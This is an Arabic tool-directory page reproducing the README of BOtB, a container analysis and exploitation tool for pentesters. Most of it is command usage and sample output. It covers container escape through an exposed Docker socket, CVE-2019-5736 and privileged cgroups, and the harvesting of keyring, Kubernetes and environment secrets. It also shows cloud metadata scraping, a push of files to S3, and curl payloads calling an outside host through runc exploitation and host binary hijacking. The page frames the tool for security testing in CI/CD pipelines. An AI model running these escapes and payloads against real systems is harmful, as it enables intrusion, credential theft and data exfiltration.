Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
botb — أداة تحليل واستغلال للحاويات لمختبرّي الاختراق والمهندسين. | Kitploit
أدوات/GitHubGitHub/brompwnie/botb
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقأمن السحابةالهروب من الحاوية
GitHubbrompwnie/botb

botb

أداة تحليل واستغلال للحاويات لمختبرّي الاختراق والمهندسين.

عرض المستودع
68456منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Github All Releases

Break out the Box (BOtB)

BOtB هي أداة تحليل واستغلال للحاويات مصممة لاستخدامها من قبل مختبرين الاختراق والمهندسين، كما أنها متوافقة مع تقنيات CI/CD الشائعة.

ماذا تفعل؟

BOtB هي أداة CLI تتيح لك:

  • استغلال الثغرات الشائعة في الحاويات
  • تنفيذ إجراءات ما بعد الاستغلال الشائعة في الحاويات
  • توفير إمكانيات عندما تكون بعض الأدوات أو الملفات الثنائية غير متوفرة في الحاوية
  • استخدام قدرات BOtB مع تقنيات CI/CD لاختبار نشر الحاويات
  • تنفيذ ما سبق بطريقة يدوية أو آلية

القدرات الحالية

  • تنفيذ هروب من الحاوية عبر خوادم Docker المكشوفة (docker.sock)
  • تنفيذ هروب من الحاوية عبر CVE-2019-5736
  • تنفيذ هروب من حاوية مميزة (privileged) عبر تمكين CAPS و SYSCALLS
  • استخراج البيانات من حلقات مفاتيح Linux kernel (Keyrings) عبر إساءة استخدام استدعاء Keyctl من خلال ملفات تعريف seccomp المتساهلة
  • تحديد أسرار حسابات خدمة Kubernetes ومحاولة استخدامها
  • تحديد نقاط نهاية خدمات البيانات الوصفية مثل http://169.254.169.254 و http://metadata.google.internal/ و http://100.100.100.200/
  • استخراج معلومات البيانات الوصفية من نقاط نهاية GCP
  • تحليل وتحديد السلاسل الحساسة في متغيرات البيئة والعمليات في ProcFS مثل /Proc/{pid}/Environ
  • العثور على مآخذ UNIX domain وتحديدها
  • تحديد مآخذ UNIX domain التي تدعم HTTP
  • العثور على خادم Docker (Docker Daemon) على مآخذ UNIX domain أو على واجهة
  • اختطاف الملفات الثنائية للمضيف بحمولة مخصصة
  • تنفيذ الإجراءات في وضع CI/CD وإرجاع رموز الخروج > 0 فقط
  • دفع البيانات إلى دلو S3
  • إجبار BOtB على إرجاع رمز خروج 0 دائمًا (مفيد لـ CI/CD غير المعطّل)
  • تنفيذ ما سبق من وسيطات CLI أو من ملف تكوين YAML
  • تنفيذ بحث عكسي عن DNS

التثبيت

الملفات الثنائية

لتعليمات التثبيت من الملفات الثنائية، يرجى زيارة صفحة الإصدارات.

عبر Go

root@kitploit:~
go get github.com/brompwnie/botb

البناء من المصدر

بناء BOtB عبر Go:

root@kitploit:~
go build

بناء BOtB عبر Make:

root@kitploit:~
make

الاستخدام

يمكن تجميع BOtB في ملف ثنائي للنظام المستهدف ويدعم الاستخدام التالي:

root@kitploit:~
./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

يمكن أيضًا توجيه BOtB لتحميل الإعدادات من ملف YAML عبر معلمة config:

root@kitploit:~
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

ستعيد أمثلة الاستخدام التالية رمز خروج > 0 افتراضيًا عند اكتشاف حالة شاذة، كما هو موضح بواسطة "echo $?" الذي يعرض رمز الخروج لآخر أمر تم تنفيذه.

تحديد واستخراج أسرار حلقات مفاتيح Linux kernel غير المحمية بشكل صحيح

مزيد من المعلومات من المؤلف الأصلي هنا https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

root@kitploit:~
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

تحديد والتحقق من أسرار حسابات خدمة Kubernetes المثبتة

root@kitploit:~
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

الهروب من الحاوية عبر خادم Docker المكشوف

سيؤدي هذا الأسلوب إلى الهروب إلى TTY تفاعلي على المضيف.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

الهروب من حاوية بطريقة متوافقة مع CI/CD

لا يهرب هذا الأسلوب إلى TTY على المضيف بل يعيد رمز خروج > 0 للإشارة إلى نجاح الهروب من الحاوية.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

استغلال CVE-2019-5736 بحمولة مخصصة

يرجى ملاحظة أنه لكي يعمل هذا الاستغلال، يجب تنفيذ عملية في الحاوية المستهدفة في هذا السيناريو.

root@kitploit:~
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

اختطاف الأوامر/الملفات الثنائية على المضيف بحمولة مخصصة

يرجى ملاحظة أنه يمكن استخدام هذا لاختبار ما إذا كانت الكيانات الخارجية تنفذ أوامر داخل الحاوية. من الأمثلة على ذلك Docker Exec و Kubetcl CP.

root@kitploit:~
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

العثور على مآخذ UNIX domain

root@kitploit:~
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

العثور على خادم Docker (Docker Daemon)

root@kitploit:~
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1

تحليل متغيرات البيئة و ProcFS Environ للبحث عن سلاسل حساسة

بشكل افتراضي، يبحث BOtB عن المصطلحين "secret" و "password".

root@kitploit:~
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1

يمكن تزويد BOtB بقائمة كلمات (wordlist) لمسح الكلمات الأساسية المحددة.

root@kitploit:~
#cat wordlist.txt 
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0

مسح نقاط نهاية البيانات الوصفية

BOtB يمسح افتراضيًا نقطتي نهاية للبيانات الوصفية.

root@kitploit:~
#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0

يمكن أيضًا تزويد BOtB بقائمة بنقاط النهاية لمسحها.

root@kitploit:~
#  cat endpoints.txt 
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1

مسح مآخذ UNIX domain التي تستجيب لـ HTTP

root@kitploit:~
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

استخراج بيانات من مثيل بيانات GCP الوصفية

root@kitploit:~
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

دفع البيانات إلى دلو AWS S3

root@kitploit:~
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished

الهروب من حاوية مميزة (privileged)

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

إجبار BOtB على النجاح دائمًا برمز خروج 0

هذا مفيد لاختبارات CI/CD غير المعطّلة

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

استخدام BOtB مع ملف تكوين YAML

مثال على ملف YAML cfg.yml

root@kitploit:~
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

تشغيل BOtB مع ملف YAML أعلاه

root@kitploit:~
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

استخدام BOtB مع CI\CD

يمكن استخدام BOtB مع تقنيات CI\CD التي تستخدم رموز الخروج لتحديد ما إذا كانت الاختبارات قد نجحت أو فشلت. فيما يلي سكربت Shell الذي ينفذ اختبارين من BOtB ويتم استخدام رموز الخروج للاختبارين لتعيين خروج سكربت Shell. إذا أعاد أي من الاختبارين رمز خروج >0، فسيفشل الاختبار الذي ينفذ سكربت Shell.

root@kitploit:~
#!/bin/sh 

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)

السكربت أعلاه ليس الطريقة الوحيدة لاستخدام BOtB مع تقنيات CI\CD، بل يمكن أيضًا استخدامه بمفرده دون تغليف في سكربت Shell. مثال على تكوين YML سيكون:

root@kitploit:~
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

فيما يلي مثال على تكوين يمكن استخدامه مع Heroku CI:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

فيما يلي مثال على تكوين مع Heroku CI ولكن باستخدام سكربت Shell غلاف:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}

المشكلات والأخطاء والتحسينات

لأي أخطاء، يرجى تقديم مشكلة (issue). هناك قائمة طويلة من التحسينات، لكن يرجى تقديم مشكلة إذا كان هناك شيء تريد رؤيته مضافًا إلى BOtB.

المراجع والمصادر

لن تكون هذه الأداة ممكنة بدون مساهمات الآخرين في المجتمع، فيما يلي قائمة بالمصادر التي ساعدتني.

  • https://docs.docker.com/engine/security/https/
  • https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
  • https://docs.docker.com/engine/reference/commandline/exec/
  • https://github.com/GoogleContainerTools/container-structure-test
  • https://github.com/coreos/clair
  • https://github.com/aquasecurity/docker-bench
  • https://www.cisecurity.org/benchmark/docker/
  • https://github.com/Frichetten/CVE-2019-5736-PoC
  • https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
  • https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
  • https://github.com/wagoodman/dive
  • https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
  • https://github.com/singe/container-breakouts
  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

المحاضرات والفعاليات

من المقرر عرض BOtB في الفعاليات التالية:

  • BSides London 2019 (https://sched.co/PAwB) والشرائح متاحة هنا https://github.com/brompwnie/bsideslondon2019
  • Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
  • DefCon 27 Cloud Village (https://cloud-village.org/)
  • Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
  • DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

الترخيص

BOtB مرخصة بموجب رخصة المشاع الإبداعي نسب المصنف - غير تجاري - المشاركة بالمثل 4.0 الدولية (http://creativecommons.org/licenses/by-nc-sa/4.0).

تنزيل الأداة
  • https://github.com/antitree/keyctl-unmask#keyctl-unmask
  • https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/